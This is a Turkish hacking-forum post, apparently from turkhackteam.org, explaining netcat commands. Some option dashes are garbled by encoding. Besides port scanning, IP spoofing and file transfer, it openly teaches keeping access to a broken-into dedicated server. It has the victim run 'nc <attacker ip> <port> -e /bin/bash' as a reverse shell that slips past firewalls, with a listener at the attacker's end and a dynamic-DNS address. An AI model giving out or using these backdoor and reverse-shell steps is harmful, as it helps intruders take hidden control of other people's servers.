Netcat nedir?|geniş anlatım|

haxe

Üye
30 Tem 2008
166
3
Netcat Nedir? Ne Amacla Kullanilir?

Netcat bir telnet clientidir.iLK OLARAK Unix turevli isletim sistemlerinde kullanilmaya basladi ve daha sonradan windows ortamina uygun hale getirildi.
Genelde bu program bir sistemde backdoor acildiktan sonra oraya baglanti kurmak amacli kullanilir.

Diyelim bir sistemde 2121 portunu actiniz o porta pcnizden netcat ile baglanmak icin Baslat/calistira gelip nc �v �l �p <baglanacaginiz port numarasi> yazip baglanabilirsiniz.
simdi netcat icin kullanacagimiz fazla uzerinde durulmayan ama isinize yarayacak diger komutlara deginelim.

Bir sunucuya baglanmak icin nc www.site.com <port> seklinde baglanabilirsiniz.
Bir sunucuda birden fazla porta baglanmak icin nc www.site.com <port> <port> komutunu kullanabilirsiniz.
Bir shell hesabina baglanmak icin nc ipadresi <port> �e /bin/bash komutunu kullanabilirsiniz.
Shelle baglandiktan sonra bir portu dinlemek icin nc �v �l �p <port> �e /bin/bash komutunu kullanabilirsiniz.
Bir host uzerinde port taramasi yapmak icin nc �v �z www.site.com <port> <port> komutunu kullanabilirsiniz.
Bir routerdan baglaniyorsaniz uzak bir sunucuyla baglanti kurmak isterseniz nc �g <ag gecit yolu> remote_host <port> komutunu kullanabilirsiniz.
IP spoofing yapmak istiyorsaniz nc �s spoof yapilcak ip remote_host port komutunu kullanabilirsiniz.
Netcatla dosya transferi yapmak mumkun nc �v <site adresi> <port> > <dosya yolu> komutunu kullanabilirsiniz.


ozellikle hacking islemleri icin kullanilan yontemlerden biriside bir dedicateda girdikten sonra ona disaridan kolaylikla erisim saglamaktir. Rooting islemi amaclanmaktadir.
Bu amacla cesitli uygulamalar gerceklestirebilir ancak firewall gibi guvenlik onlemleri oldugu surece pek basarili olunamaz.
Iste bize bu durumlarda reverse telnet dedigimiz uzaktaki sunucuyu kendimize baglamak ozelligini iceren netcat islemini yapmak kaliyor.
Sunucudan bir port actigimizda (ayni portu pcmizde de aciyoruz adsl modem ayarlarindan da bunu acmak gerekiyor) bize ordan baglanti kurulmasi icin sabit bir ipye ihtiyacimiz oalcaktir onuda www.no-ip.com adresinden alacaginiz iple yapabilirsiniz
calistira nc bizim_ip_adresimiz <acilan port numarasi> -e /bin/bash komutunu calistirdigimizda islemin 1. kismi tamamlanmis olur daha sonra
kendi pcmizde calistira nc -vv -l -p <acilan port numarasi> komutu ile dedicatedimiza baglaniyoruz
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.